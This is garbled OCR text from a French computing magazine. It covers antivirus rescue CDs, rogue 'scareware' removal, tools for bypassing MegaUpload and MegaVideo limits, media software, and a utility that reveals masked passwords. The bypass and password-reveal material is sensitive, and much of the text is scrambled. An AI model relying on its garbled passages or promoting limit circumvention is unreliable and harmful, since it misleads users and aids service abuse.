Pour graver facilement votre fichier image

(IS0}, nous vous invitons & utiliser le logi-

]

ciel gratuit CDBumerXP Lors du démarrage,
cliguez sur Graver une image 150, validez
puis retrouvez I'emplacement de wotre
fichier en cliquant sur les trois petits paint
a droite du champ libre.

La derniere chance, au
dernier moment...

Crée par les Roumains de SoftWin, il
s'agit d'un Live CD Linux bootable.
En gros, depuis le PC d'un ami,

vous téléchargez l'image au format
150 pour ensuite le graver sur un
CD. Il suffira de faire un tour dans
votre BIOS5 (car méme si Windows
refuse d'entendre quoique ce soit,

ﬂ Le BIOS

Une fois que votre galette est préte, il va
falloir demander & votre PC endommagé
gu'il la lise au démarrage. Pour cela, il
faudra passer par le BIOS. Démarrez
votre PC et appuyez répétitivement sur
Suppr (ou parfois F1). Le menu Satup

Full Screen LOED Byaplay [Enabled |
Sepi ] LogeCEFR) Displaw }E-clll.ri}
Hard Disk Basl Friarity Press Enier]
Bagabled]
Fnll|F‘1
Luabled
Faabled
I lapnp]
Hard Dask)

Bq;i ul.er Dewice |Et-hlei}
Sock [ leppy Bazakled]
Htul. Up Hem- Luock LED in]
i 0 Bt Fast]

[Bisabled]

1)
clap
|llllr|.£"|-
i 1.%]
» GUME [Hs]

ol PUSPOz W lian F
Fa: Fail Sale Bel

terzielect
Fh: Prewivus Valurs

devrait alors safficher. Cherchez dans
cette page quelque chose qui ressemble
i Boot Menu ou Boot Sequence (parfois,
I'ordre de boot est aussi accessible via
F12). Ici, il faudra mettre e lecteur de
CD/OVD en numérg 1. Les périphériques
gui suivent sont moins importants... Ne
vous inguigtez pas, tant que vous ne
sauvegardez pas, nen de ce gque vous
toucherez ne sera définitif. Si vous pensez
avoir commis une bourde, choisissez Quit
without saving {ou guelgue chose du
genre). Au contraire, si vous avez réussi
(bravo 1), sauvegardez et placez votre CD
dans le lecteur avant de redémarrer.

le BIOS est lui toujours disponible)
pour démarrer a partir de ce

CD. Les outils gqu'il contient vont
alors rechercher et éliminer les
virus paralysant votre machine.

La base de ce Live CD est issue

de BitDefender 2009 mais il est
possible de télécharger les mises
a jour de définitions pour parer
aux attaques les plus récentes.

LI » Réparez votre PC avec

m Lancez

Une fois lancé, vous découvrirez une
interface claire avec trois boutons :
Scanner, Update, Settings. Commen-
Cez par mettre a jour les signatures de
virus. Sélectionnez ensuite vos dossiers,

disques ou tout le systéme avant de
lancer I'analyse. Il vous sera possible
de choisir de supprimer ou mettre en
quarantaine les données vérolées. Lors-
que vous aurez réparé votre PC, n‘'oubliez
pas de refaire un tour dans le BIOS pour
remettre votre disque dur en numéro 1
dans la séguence de boot...

4 CE QU'ILVOUS FAUT

» BitDefender Rescue CD
@ http:/ /download.bitdefender.com/
" rescue_cd

= CD Burner XP

g‘ http:/ /cdburnenp.se

DIFFICULTE

Plus fort, ce Live CD comprend des
outils de restauration de fichiers

et de sauvegarde de partitions. On
aurait presque envie de se faire
vérolé pour tester la béte... A la
rédaction, nous avons juste laissé
notre poissard de Directeur de
Publication toucher un PC pendant
15 minutes pour rendre ce dernier
inutilisable. Imparable,
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Liste de rogues

Vous pouvez attraper un rogue de
plusieurs maniéres : téléchargement
d'un faux codec ou faux crack, visite
d'un site pas trés catholigue, et.
Pour éviter ces malwares, rien ne
vaut un bon antivirus et un firewall
hien configuré mais parfois, certains
passent au travers des filets. Ne
faites donc jamais confiance a un
antivirus que vous n'avez pas installé,
Si vous n'étes pas le seul & utiliser
votre ordinateur, vous trouverez sur le
lien suivant une liste mise a jour de
rogues par ordre alphabétigue...

£ www.donnemoilinfo.com,/sujet/
" " Malware/ les-rogues.php

" ..
T
«Vou ete contaminez !»

Pour araguer encare plus de gens,
les mémes rogues sont parfois
traduits dans plusieurs langues.
Lavantage pour vous c'est que les
contrevenants ne sont pas trés fors
en frangais et utilisent des outils de
traduction automatique. Si vous voyez
des fautes d'orthographes ou une
phrase qui ne veut rien dire lars d'un
avertissement, ¢’est un piége !

Toujours la toi ?

Si malgré I'action de Malwarebyte
Anti-Malware vous avez encore des
avertissements qui s'affichent, c'est
que e rogue qui sévit sur votre PC
nécessite une désinfection spécifique
{comme le trés pénible Security Tool).
Il faudra parfois lancer votre ordina-
teur en mode sans échec puis tenter
une désinfection «& la mains. Dans ce
cas de figure, il faudra rechercher un
protocole de désinfection sur Google

en tapant le nom du rogue qui vous
méne la vie dure...

g Sy

Les rogues -
ces faux antivirus

I
|
¥
r
L]

Peut-étre avez-vous déja
vu ces avertissements

sur Internet qui vous
prévienne d'une attaque de
virus. Bizarrement, ils ne
proviennent pas de votre
antivirus mais I'interface
serieuse a de quoi vous
mettre le doute. Ne tombez
pas dans le piege, il s"agit
d'un rogue (ou scareware).
Un logiciel qui joue sur la
peur de la contamination
pour vous soutirer de
I'argent...

assez difficile pour un antivirus de
détecter quoique ce soit. Au bout
de quelgues minutes, vous verrez
une fenétre, un pop-up ou un
avertissement Windows qui vous
indigque gu'une menace est détectée
sur votre ardinateur. Bien sir cette
menace est imaginaire et pour

es rogues sont de faux
antivirus créés par des
petits filous pour faire de
I'argent sur la crédulité
des internautes. Tout commence
par une infection bénigne, le rogue
s'installe sur votre ordinateur mais
ne détruit rien du tout, il est donc

Typm il P et Tt iy

<4 On croirait
vraiment un
antivirus non 7 Et
hien non, Security
san Tool est un
rogue... Et un des
plus pénible a
éradiquer !
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PRATIQUE

1

Ce logiciel est gratuit mais malheureu-
sement la protection résidente n'est
disponible que dans la version payante
(20 €). Qu'a cela ne tienne, vous pourmez
vous débarrasser des rogues ou autres

Malwarebytes'

. =

malwares en faisant un scan dés que
Vous aurez des signes de contamination.
Allez sur le site Web et cliguez sur Down-
load Free Version puis sur Download
Location. Installez le soft et cochez les
cases de mise a jour et de lancement
automatique.

2

Dans I'onglet principal Recherche, vous
aurez le choix entre un examen rapide
et un examen complet (la troisieme
option n'est disponible que dans la
version payante). Si vous &tes sdr
d'étre contaminé par un rogue, optez
pour le complet, faites Recherchez
et choisissez les disques durs gue
vous voulez scanner. Selon la quantité

supprimer ces infections, vous
devez passer a la caisse ! Si vous ne
cédez pas, le rogue va alors tout
mettre en ceuvre pour vous faire
craquer : affichage de plusieurs
fenétres, modification du fond
d'écran {pour faire croire 3 quelgue
chose de sérieux), icones d'alerte
dans le systray {les petites icones
en bas a droite prés de I'horloge),
etc. Les brigands regorgent

Malwarsbytes'

de données que vous avez sur votre
ordinateur, le scan peut s'avérer trés
long. Comptez 2 heures pour 200 Go,

3

A la fin du sean, cliguez sur Afficher
les résultats si le logiciel a découvert
quelgue chose puis sur Supprimer la
sélection pour corriger les problémes,
Un journal devrait s'ouvrir avec le détail

des actions effectuées. La plupart du
temps, le programme effacera les traces
des malwares mais il arrive cependant
qu'il ne puisse les metire qu'en quaran-
taine (voir I'onglet idoine).

d'ingéniosite pour vous faire
croire que Windows vous prévient
vraiment d'une contamination

(ils vont jusqu'a copier linterface,
la police, les couleurs). Méme le
nom de ces rogue font vraiment
penser a des antivirus classiques
iInternetshield, Antivirus Protector,
etc.) Il y a vraiment de quoi se
laisser berner... Lorsque vous
cliguez enfin sur le fameux bouton

Eliminez les rogues avec

4

Si un fichier ne peut étre effacé, soit
parce qu'il est verrouillé ou utilisé en
ce moment par le systéme, il faudra
utiliser le module File Assassin (dans
'onglet Autres outils). En ce qui
concerne les autres onglets, pas de
surprise majeure. Allez dans Mise a

—r=p—= == |

jour pour updater votre logiciel avant
chaque utilisation, et faites un tour
dans Exclusion en cas de faux négatif
pour ne pas réexaminer un fichier
inoffensif qui aurait &té détecté comme
une menace.

4 CE QU'IL VOUS FAUT |

= Malwarehytes
Anti-Malware (Gratuit)

) www.malwarebytes.org

«5can» du rogue, vous verrez une
interface imitant & la perfection
celle d'un antivirus gui scan un
systeme avec barre de progression,
des nams de fichiers qui défilent,
etc. Bien sr tout est faux, Au
final, le rogue va vous «détecters
quelques virus trés dangereux et
vous proposer de les éradiquer
pour des sommes allant de 10 &
plus de 80 €,
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MegaUpload et ses PetaOctets
de données sont contraints,
pour diverses raisons, de
brider les connexions vers
leurs serveurs. De nombreux
sites proposent un débridage,
avec plus ou moins de succés.
Attention aux arnaques, suivez
le guide !

-~

Déebrideur ou
gestionnaire de
telechargement ?

Ne pas confondre les débrideurs qui
sont la plupart du temps des services
en ligne avec les gestionnaires de
tééchargement tels que Jdownloader,
Ceux-ci permettent de faciliter et
d'automatiser le téléchargement, mais
ils ne foumissent pas les avantages
d'un compte Premium. Au mieus, ils
taperont le Captcha & votre place.

: "y

= Qui peut vraiment

debrider
gaUpload ?

A : s
4 aissez parler votre bande-passante. En France,
M | _ Megalpload est le service d'hébergement de fichiers
\ j en un clic le plus populaire. Des millions d'utilisateurs

y stockent plusieurs PetaOctets de données. Victime
de son succés et surtout a la recherche de financements,
MegaUpload a décidé de monétiser son service et de le brider
pour les utilisateurs basiques. Les raisons sont simples, d'abord,
il s'agit d'économiser la bande passante et dans un deuxiéme
temps, il faut rentabiliser le service. Ce que MegalUpload n'avait
peut-étre pas prévu, c'est que des internautes malveillants
chercheraient a contourner ces limitations, pour profiter du
service sans aucune restriction de temps ou de puissance,
Plus rapide et plus fourni que RapidShare, MegaUpload
est devenu, en seulement 5 ans, un site de stockage
en ligne indispensable. Les dérives sont nombreuses

et la plupart des utilisateurs profitent du laxisme
. de MegaUpload pour y placer des fichiers protégés
par le droit d'auteur. Cette politigue a permis au site

de connaitre un trafic ahurissant, le plagant au 724"
rang (Alexa) des sites les plus visités. Mais la notoriété ne
s'accompagne pas que de bonnes choses. Trés vite, les utilisateurs

@ > Invitez vous

CodesAlDebrid




blasés de devoir payer pour accéder
aux contenus stockés sur les serveurs
de Megalpload, ont cherché &
contourner les dispositifs mis en place,
Clest dans ce contexte que sont nés les
débrideurs.

Ces sites permettent d'accéder aux
services Premium de Megalpload
$ans pour autant avoir a créer de
compte, Pour réaliser cette prouesse,
les débrideurs utilisent des proxy

et connectent les internautes a des
serveurs distants sur lesquels sont
configurés des comptes Premium.
Ure fais que l'utilisateur de ces
débrideurs a accédé aux contenus
protéges, il peut les rapatrier sans
aucune difficulté, tout en profitant au
maximum de sa bande-passante. Le
gain de temps et d'argent n'est alors
pas négligeable.

Les débrideurs,

rois de I'arnaque

Mais, car bien entendu il y a un

& mais », i en théorie les débrideurs
sont des services gratuits et
incroyablement utiles, il n'en reste
pas moins que la plupart sont

des arnaques. On les compte par
milliers {l'occurrence « débrideurs
MegaUpload = sur Google renvoie
environ 70 000 résultats). Certains vous

MULTIMEDIA

» MEGAUPLOAD

proposent la lune, mais ne sont en
fait que des nids a malwares, d'autres
vous paraissent honnétes, mais ne
fonctionnent pas. La durée de vie
d'un site de débridage est d'ailleurs
relativernent courte, quelgues mois
tout au plus. Megalpload ne reste en
effet pas les bras croisés et supprime
ou bloque les comptes Premium
suspicieux, placés sur les serveurs
distants. |l suffit de se rendre sur le
site annuaire de débrideurs, www.
debrideurs-infos.com, pour se rendre
compte que la plupart des services
présentés ne fonctionnent plus ou
sont devenus payants.

Il est, effectivement, trés peu probable
de tomber sur des débrideurs

gratuits. Comment rentabiliser un tel
service sans modéle économique ?

La publicité a elle seule ne peut pas
subventionner la location des serveurs
neécessaires. Bien souvent, les sites
font appel aux dons, mais 1a encore,

le service ferme avant méme d'avoir
recu les premiers deniers. Et puis, il est
difficile de demander aux utilisateurs

de payer. Ca devient méme incohérent.

Payer pour avoir le droit d'utiliser un
service gratuitement, qui lui-méme
vous permet d'avoir gratuitement des
contenus piratés. Ca revient 4 financer
le pirate qui a piraté le pirate.

sur AllDebrid

E Créer un mﬁt& '

cartavemuchet
CEmph premayrs

frpien Galoez 3R

TR S - Bt

Deux debrideurs qui
fonctionnent !

ent environ a 1
ur un an.

& CE QU'IL VOUS FAUT

> AllDebrid (payant)
g‘ www.alldebrid.fr

= Jdownloader (gratuit)
ﬂ http://jdownloader.org/

DirricuLTE 2
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» MEGAVIDEO

CACAOWEB
débride Megavidéo

Grace a Cacaoweb, il est possible

acaoweb est le fils spirituel

de regarder des vidéos depuis la d'lllimitux. Pour ceux qui ne
plateforme MegaVidéo sans étre connaissent pas, il s'agissait

E it par la limite de 72 minutes. de zappertlj: ff:::ge:zc::g::ﬂz;n‘::;izﬂ
L'application est compatible avec de afin de regarder les « vacances de
nombreux navigateurs et s'intégreen  grand-mére » d'un seul trait.
quelqms clics. Effectivement, le site de streaming

MegaVideo, connu pour ne pas étre

. )

trop regardant sur les contenus stockés,
limite le visionnage a 72 minutes
consécutives. Au-dela de cette limite, il
faut attendre 54 minutes pour pouvoir
acceder a la suite.
Le successeur officiel se nomme donc
Cacaoweb. Un nom un
peu étrange et beaucoup
mains explicite que celui
de son prédécesseur. Le
fonctionnement est en
revanche simplifié.
. Quelques clics suffisent pour arriver a
- voir la vidéo. Linterface choisie est une
interface web, intuitive et minimaliste

(voir notre pas-a-pas).
T P Utiliser Cacaoweb
EI Regarder une vidéo

A savoir !

Cacaoweb s'exécute depuis le disgue
sur lequel il est installé. Si vous souhai-
tez, vous pouvez le transporter sur clé
USB. Tous vos paramitres de connexion
seront ainsi enregistrés sur ce support
et vous pourrez |'utiliser nimporte o, .5

L

4 CE QU'IL VOUS FAUT

> Cacaoweb (gratuit)

) www.cacaoweb.org

Installer Cacaoweb

Du P2P invisible

Les concepteurs de Cacaoweb ont pris
le parti de construire I'application sur
un réseau P2P. Que les allergiques des
réseaux Torrent se rassurent, tout ceci
se passe de maniére totalement
transparente pour l'utilisateur.
L'avantage de cette technique, c'est que
e n'est pas un serveur gui supporte
I'envoi et le stockage des vidéos, mais

L’ Malwarebytes' |

Nedwits P Seibee | Gmetes | Sgrevies | Goiees | Peestes  Sessi | b

B e det]

A e L LT ——

J/\ Malgré ce qui est colporté par
certaines rumeurs, Cacaoweb ne contient
aucun trojan et peut s’installer les yeux
fermés.

bien l'ensemble des utilisateurs de
Cacaoweb, Cette répartition permet de
diminuer de maniére drastique les
colts impliqués par l'opération et
surtout, cela garantit aux utilisateurs
une certaine souplesse d'usage.

Avec ou sans trojan ?

La principale critique formulée envers
Cacaoweb réside dans le fait que
certains logiciels anti-virus l'ont détecté
comme trojan. Aprés vérification, il
s'agit bien de faux positifs et l'équipe
de développement travaille d'ailleurs
activement au réglage de ce probleme.
Cacaoweb est a I'heure actuelle la
meilleure solution pour profiter des
vidéos longue durée de MegaVidéo
sans compte Premium. Le fait d'avoir
développe une solution aussi triviale a
utiliser devrait séduire de nombreux
internautes,



ISOBuddy,

Image ?

C'est avec I'apparition des lecteurs de
CD-Rom que les fichiers image ont vu
le jour. Vous pouvez les créer ou les
trouver sur Internet. Ce sont des copies
conformes de ce que 'on trouve sur le
disque d'origine mais Windows ne peut
pas y avoir accés, lls sont comme des
boites ol I'on peut mettre différentes
choses & l'intérieur : musique,
animation vidéo, ete. On est stir du
contenu mais on ne peut pa [
acces. Une fois gravée sur un CD/D

la boite s'ouvre et on peut profiter du
contenu ! La norme internationale 150
9660 permet une interopérabilité entre
les différents systémes et logiciels.

Le bouton Open vous
senvira a charger le
fictuier image que vous
souhaitez convertir,

Le bauton Start, comme
son nom I'indique,
lancera la comversion
Celle-ci peut prendne
plusieurs minutes selon
la taille du fichier

d odgine.

Li format di sotie sera

le format ISO9E660, plus
comentionnel et répandu Bl g e
ques&ucnuans

propriGtaies.

B Le champ Source file indique be chemin,
I nom &t l'extension du fichier sowme. ko,
* i (Global Image) indique que le fichisr
image a &8 généré avec le logiciel Roxio.

LV

Sauvegarde, copie ou téléchargement sur Internet, vous croiserez sans aucun doute
un fichier image un jour. ISOBuddy permet de convertir les images des formats
propriétaires vers un format 1SO 9660 normalisé. Un outil qui peut se révéler trés

pratigue.

S0Buddy vous sauvera la mise,
L'stendue de son champ
d'application est trés vaste. Au
travail d’'abord, de nombreuses
sociétés utilisent les fichiers images
pour sauvegarder ou copier des
contenus professionnels, seulement
voila, d'une entreprise a l'autre, les
logiciels utilisés divergent. Comme il
existe environ autant de formats

[ ]
Il est agalement possible
de praver I'Tmage de sortie
dans la foulée grace &
option Bum.

image que de logiciels (NRG pour
Mero, CDI pour DiscJuggler, etc), il est
souvent difficile d'ouvrir ou de copier
de tels fichiers. Sur Internet vous
trouverez aussi des fichiers images
prét a étre gravés mais les logiciels de
gravure gratuit ne prennent le plus
souvent en compte que le format 1SO
9660. En partant de ce constat, et pour
lutter contre les formats propriétaires,
le concepteur d'ISOBuddy a décidé de
créer un outil capable de transformer
nimporte quel fichierimage en fichier
I50. Vous pouvez aussi trouver une
application a la maison. 5i vous avez
copié le contenu de I'un de vos DVD
(non protéqé, cela va de soi) avec un
logiciel et que vous n'avez plus acces a
ce logiciel (suppression, remplace-
ment ou expiration de la licence), vous
ne pourrez plus utiliser votre fichier
image, ni le graver. |150Buddy viendra
a votre rescousse pour le transformer
en fichier normalisé que vous pourrez
alors graver avec n'importe quel
logiciel de gravure gratuit
(CDBurnerXP par exemple).

4% CE QU'IL VOUS FAUT

www.dvd-ranger.com
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CamStudio :

enregistrez a la volée !

CamStudio permet d'enregistrer

en vidéo ce qui se passe sur votre
PC. C'est le programme idéal pour
capturer le stream, enregistrer une
communication en visio ou réaliser un
tutoriel vidéo...

CamStudio en «lossless:

Pour profiter du codec lossless de CamS-
tudio, rendez-vous sur |a page du logiciel
et téléchargez-le au format EXE. Aprés
avoir installé CamStudio, faites de méme
pour cg codec. Aprés un petit redémar-
rage, il figurera dans la liste de codec &
Options > Video Options > Compressor >
CamStudio Lossless Codec v1.4. .5

% CE QU'ILVOUS FAUT

> CamStudio (gratuit)
g http:/ /camstudio.org

DIFFICULTE g

TTITH P Premiers p:

Il Le choix du codec

e

amStudio enregistre au

format vidéo AVI tout ce qui

se passe a l'écran. Lutilisateur

a méme le choix d'enregistrer
la totalité de votre bureau ou unigue-
ment l'activité d'une zone que vous
aurez prédéfinie. Cerise sur le gateau, le
logiciel enregistre aussi le son qui sort
de vos enceintes, de votre casque ou
de votre micro.

3 utilisations !

Vous pouvez donc tranquillement faire
un tutoriel animé avec des commen-
taires, enregistrer une conversation
Skype ou MSN et capturer les flux
stream de YouTube, MegaVideo, etc. Le
logiciel va directement piocher dans les
codecs qui figurent dans votre ordina-
teur mais |'éditeur propose aussi une
compression «losslesss ne détériorant
pas la qualité tout en réduisant la taille
de votre fichier final. Enfin, si vous
aimez le Flash, vous allez &tre servi

puisqu’avec le logiciel inclus SWF
Producer, vous pouvez convertir votre
fichier a ce format. Attention, plus la
résolution est importante et moins
I'animation sera bonne. Méme avec

une béte de course, n'espérez pas
enregistrer vos parties de Modern
Warfare 2!

] camiStudia
[ File Reg

le Region Options

NN =8 ®

RenderSoft

Cam Stu_d_ii :

| OPENDOURCE

1P

ress the Recerd Button to start recarding

s avec CamStudio




Désormais gratuit, Sesam
TV Media Center est
" une interface graphique
permettant de jongler avec
tous vos médias. Musique,
télévision, DVD, radio ou
photos, ce logiciel centralise
tout sur votre PC et dans
votre salon, si vous étes
équipé de la connectique
adaptée. Compatible avec
les telécommandes PC et les
cartes TV, ce Media Center
s'occupe vraiment de tout !

esam TV MediaGentenvient
s'ajouter a la liste des interfaces
gratuites permettant de lire

; hiers audio,
regarder la télévision ou afficher vos
photos en plein écran depuis votre
canapé. Comme ses concurrents, Sesam
TV propose une belle interface bleutée
fortement inspirée du Media Center de
Windows Vista. Les principales sections
sont disponibles depuis |a page d'accueil :
télévision, DVD, musigue, vidéos ou encore
photos. |l suffit de quelgues minutes

pour paramétrer le logiciel. Aprés avoir
sélectionné une section, il suffit de
spécifier 'emplacement de vos fichiers
pour les voir s'intégrer a l'interface

immeédiatement. La navigation dans

les bibliothégues se fait au moyen de
vignattes (apercus ou pochettes d'albums).
Notons enfin gque Sesam TV est compatible
avec de nombreuses cartes DVE-T ou
DVB-5 (tuner analogique, TNT et Satellite)
et avec la plupart des télécommandes.

Media Portal, I'alternative

Media Portal est une trés bonne altemative a
Sesam TV, Un peu plus complexe & prendre en
main, ce logiciel propose un certain nomkbrne de
plugin additionnels permettant, par exemple,
d'ajouter une chaine métdo, de trouver

ung Séance cinéma ou de programmes un
enregistrement a distance via e-mail.

@ wan.team-mediaportal.com

.'

Premiers pas avec Sesam TV

rx o0

Conliguratian

Tallls

L Towsfisis au premisr

vous demander de télécharger des compos-
permettant de bien afficher

ou d'ouvrir vos fichiers. Laissez le programme
s'initialiser et attaquez directement par 'onglet

Configuration en haut (en forme de clé).

Dans les parameétres d'affichage, vo
rez régler la taille et la position de I'écran.
Mous wous conseillons aussi de placer

plan

Fositien de Flcram Miveis danimition

L

mier plan (pour

- Windows vi-

ennent vous embéter pendant le visionnage

du dernier concert de Johnny). Dans Modi-

fier I'apparence, vous poOUez renammer les

sections et définir un fond d'écran propre a
chacune d'elles.

Cliquez dans une section pour commencer &
paramétrer vos médias, Télévision, par exem-
ple. Sélectionnez votre type de tuner puis

ous guider pour que Sesam TV intégre

automatiquement les chaines disponibles,
Vous devrez faire 4 peu prés la méme manipu-

' des playlists pour Musique, de vos clichés
i pour Photos etc,

4 CE QU'ILVOUS FAUT

(gratuit)

= www.sesamtv.com

:




Méme si les logiciels
disponibles actuellemen
pour encoder ou réenco
sont assez accessibles;’
PocketDivKEncoder TPt

place la barte un p o
plus haut e matiére de
convivialité. Meme s'i il
est simple a prendre en '"_' ;
main, ce logiciel est aussi
suffisamment armé pour™
toutes sortes.dé situations :
incrustation de sous- titn‘es,,
découpe, correction dpﬂ
décalages audio /vidéd qur
encodage par lof )

chouchoy du mo
- - ; ocketDivXEncoder est, FPDA, Palm, PC, Archos, iRiver, Home
orrig nda alage i  comme son nom lindique, Cinema, TV HD, etc. Pour chacune

aud : un logiciel d'encodage video des configurations, PDE dispose de
Cette option permet de ralentir destiné aux utilisateurs préréglages définis pour répondre au
au accélérer la vitesse du flux d'appareils mobiles. Méme <'il excelle mieux aux données des constructeurs ;
vidéo pour que les flux audio dans ce domaine, il est aussi tout a fait fini les bandes noires, les vidéos
et vidéo aient la méme durée, capable de travailler pour différents écrasées a cause d'une résolution ne
Cette option permet aussi de types de support : Smartphone, correspondant pas ou du son absent

recréer la table d'interleaving
de la vidéo ('interleaving, c'est

la maniére dont le flux vidéo et Ym0
le flux audio sont entrelaces). i PRATIQUE i _ Decou ! — )

Pour resynchroniser un fichier

dont les flux audio et vidéo ne | .l : .',‘.
sont pas en phase, cliquez sur o e - s e
le bouton (E). - Aprés avoir sélectionné la vidéo que [~
L -j ~ vous voulez encoder et régéws para-
- métres, cliquez sur Découpage vidéo.
[ 4 Une nouvelle fenétre devrait s'ouvrir
B ~ avec le fichier que vous voulez cou-
Si Pocket Divk Encoder ne vous don- ! per, incrusté darts Fappareil de votre. i
ne pas entiere satisfaction, il existe choix. Ici, vous pouvez, "m M“mrm T
un alternative pour ce qui est de I'en- faira pausa i
codage ou du ré-encodage. Essayez
le trés bon Mdng, successeur de
Ridm. Il est trés facile 3 appréhender ] i : j |
tout en restant performant. At e L I O R S S e
www.médng.fr : ' ' S iar i

¥ i it S : —




parce quiil ne colle pas a la norme
établie par votre appareil, Sans

nécessiter d'installation, PDE se paye

méme le luxe de ne pas demander
de codecs additionnels. Il est, en
effet, possible de travailler a partir
de nimporte quel type de fichier :
AVI (en DivX ou Xvid), MKV, MPEG,
etc. Le format de sortie dépendra
bien siir du type d'appareil que
vous avez selectionné au début du
processus.

Les petits plus...

Mention spéciale pour la facilité
avec laquelle le logiciel permet

de corriger les décalages qui
surviennent parfois entre le son et
la vidéo. Pour ceux qui souhaitent
garder uniguement une partie de
la vidéo, il est aussi possible de
faire des coupes. Pour les petites
vidéo (comme les épisodes de
série, par exemple), PDE autorise
le traitement par lot. |l suffit de
définir un réglage, de sélectionner
les vidéos puis de laisser le logiciel
faire son travail. Enfin, la fonction
qui a fait craquer votre serviteur
c'est l'incrustation des sous-titres,
Nombreux sont les appareils de
poche ou les platines de salon qui
ne lisent pas les formats SUB, SRT
ou TXT. PDE va simplement les
scinder avec la vidéo idoine pour

MULTIMEDIA

» ENCODAGE VIDEO

T

| cnemindu ot |1 Sdeciomnez
| sélectionné | votre fichier

AR R R L R L ]

Liste de fichiers
igﬂwderéln

Sélectionnez

infoemations sur le

T e s iy B S | -

Ia quealité, le rendu &t
le 500
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Bouton permettant da N 3

EBEIEBEEREEERERES

b Fichdor cavd (A}
changer [a résolution par | . WP
défaut @ TR e 1 o ""
s, M v e » B " Cinabiari » %7 |
i okamg = B -~
- Découpe vidéo : pour S A PR
i supprimes des pubs, des | “TCTT T T
| généniques, eic. *> i L4 Z
AT e et L T e T
Avant d'encoder, il est bon | - = a
d'avoir un apercu rapide o Bt ek LT 0 Fout compremer E
du résubtat @ ]. % - getioems e Fadion de encodigs ——— E
| | T — S = E
“Mfﬂlimfﬁﬂilﬂrﬂ ':.-: . el Al | Frobpeion - 400 e .«u "|-.:.:.| ——— % !
fied qu'il faut cliquer | - = N * " Bl

désentrelacement,
encodage en 2 passes,
fichiers de préconfiguration,

cas d'un encodage
par lot, c'est e qu'il
faut cliquer pour

3 #te. (vair la prochaine traiter les fichiers &
ﬁ-' : e By | Musiration pour les détails) | a suite...
it = = e -

en faire un seul fichier. Alors quil
fallait passer par VirtualDub et le
rigoureux paramétrage de filtres,
PDE s‘acquitte de cette tache haut
la main avec en plus quelgues
options sympas comme le choix
de la police et de la taille des
caractéres. Un vrai bonheur. ..

4 CE QU'IL VOUS FAUT

> PochketDivXEncoder
(gratuit)

ﬂ www.pocketdivxencoder.net
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g nsamsen | LES OPTIONS

d'avoir un meilleur résultat -
AVANCEES

Permet d'utiliser le Xvid plutdt que - il

le DivX ! i

opthons :

[ Pas de recomprassicn vidéo il g5

[ Encodage en 2 passes O pésentrelacer 7] vig Pour supprimer le son, éviter de

) images par ceconde (fps) : Ovre ) le réencoder ou de la normaliser
(méme volume pour tous les

Advanced audio options ; ~ fichiers)

] Pas de recompresson audio 7] Pas de son

=]

) "Live" affect 2 Marmalisation du volume Permet de sauver les
) m-k—?‘zﬁ: paramétres existants ou de
|_ & Swuver paramitn ~# Charger | charger ceux déja sauvegardés

| 4% options avancées ]| U Tout compresser

o ear.

PRATIQUE § 2

Il L'appareil cible :
El Les sous-titres

(©)

E Prévisualisation
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LOCALI PURIFIEZ WINDOWS
UNE IP i LIVE MESSENGER

Avec Crean Virus MSN

()22 avec Visuar IP “ee

Locaror

MSN, Windows Live Messenger

Visual IP Locator est un petit logiciel de son véritable nom, est
trés simple qui vous permettra de un logiciel bourré de faille
localiser géographiquement une adresse de sécurité et de faiblesses P
IP et éventuellement de connaitre son diverses. On ne compte plus D e i1 .t
propriétaire. |l suffit de saisir I'adresse IP le nombre de comptes volés, S Ol i ki s Bt e
a laquelle vous avez eu affaire pour avoir d'usurpation d'identité ou R B B R
son emplacement. Si I'lP appartient & de contaminations virales en
une société, son nom et la tranche d'IP rapport avec ce programme.

s'afficheront, si ¢'est un particulier connects Malheureusement, c'est la
: -- messagerie instantanée la

plus utilisée. Pour supprimer
les virus qui seraient venus
se greffer sur votre MSN, voici |TE———
Clean Virus MSN. Ce dernier |
éradique spécifiguement
les malwares transmis par
ce demier. Clean Virus MSN

par l'intermédiaire d'un FAI, c'est le nom du detecte et supprime jusqu'a

FAl qui sera identifié. 4 000 varantes de ces sales
Enfin, grice a I'outil WarninglP vous pourrez bétes. Il suffit de cliguer sur
facilement savair si I'lP appartient a une Analyser puis de supprimer ce
liste d'adresses «interditess. qu'il aura détecté.

g http://egyde.free.fr/progz/vil.html 2 www.viruskeeper.com fr/

“ clean virus msn.htm DES MOTS
DE PASSE EN

SECURISEZ VOS PORTS

AVEC AsHAMPOO FIREWALL Difficile de faire plus simple. BehindTheAsterisks
ot B e permet d'afficher les mots de passe masqués par

w 9 E ' les fameux astérisques sous Windows. Si vous
Dans le précédent numéro, ne souvenez plus d'un mot de passe, il suffit de
nous vous avions parlé du passer volre souris sur ces petites étolles pour

voir le mot de passe en clair | Plus besoin de
redemander un mot de passe ou de passer en

trés bon firewall ZoneAlarm
qui convient parfaiterment
aux ordinateurs ne
possédant pas le pare-

feu inclus aux demiéres
versions de Windows.

Vioici un autre logiciel

de ce type : Ashampoo
Firewall. Ce demier brille

(brute) force...
@ http:/ /syrka.tree.fr/freewares, behind.htm

Vi (s FTF MY Rigeabti

==
| Pl

e st o

L e

par sa simplicité et par son R o Rl
¥ n I & . i I Paller Lo e
interface claire. Les débutants apprécieront le mode «faciles tandis que b s

les tatillons pourront se faire la main sur le mode «Experts : paramétrages [P ————
poussés des exceptions, configuration individuelle des ports, etc. Pour B
profiter de cette version gratuite, il suffit de s'enregistrer sur le site...
Attention, il est déconseillé d'utiliser deux pare-feu en méme temps.
Désactivez celui de Windows si vous voulez utiliser Ashampoo.

E wew.ashampoo.com




REPARER UNE ARCHIVE ==
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Rien de plus pénible que de se retrouver  I'emplacement de votre fichier et

avec une archive ZIP cormompue. Qu'il de choisir la méthode (rapide ou

s'agit d'un t&léchargement inachevé minutieuse), Au final, vous récupérez

(genre 99 8 %) ou d'une ermeur de un ZIP tout neuf qui pourra &tre ::xf:: (e
manipulation, il est possible de faire décompacté sans encombre. Attention, R
quelque chose avec ZipRepar, Méme ZipRepar ne fait pas de miracle, inutile B
sl ne répare que les ZIP (pour les d'espérer récupérer les fichiers contenus

RAR, essayez www.recoverytoolbox. dans un ZIP terminé 3 45 %,

com), il le fait trés bien et ne nécessite &) www_easycommander.com/

pas d'installation. |l suffit de spécifier " telecharger/ziprepa

SUPPRIMEZ LES ROOTKITS

AvEc RootkirTREVEALER

SIGNEZ UN
FICHIER

= amg AVEC
MD5Summer

Lalgorithme MD5 (pour Message
Digest 5) est une «fonction de
hachage cryptographique= permettant
d"obtenir une empreinte numérigue
d’un fichier. En clair, il 5'agit de

-
&
Ll
L
&
-

-

-

-

-

-
-
-
-
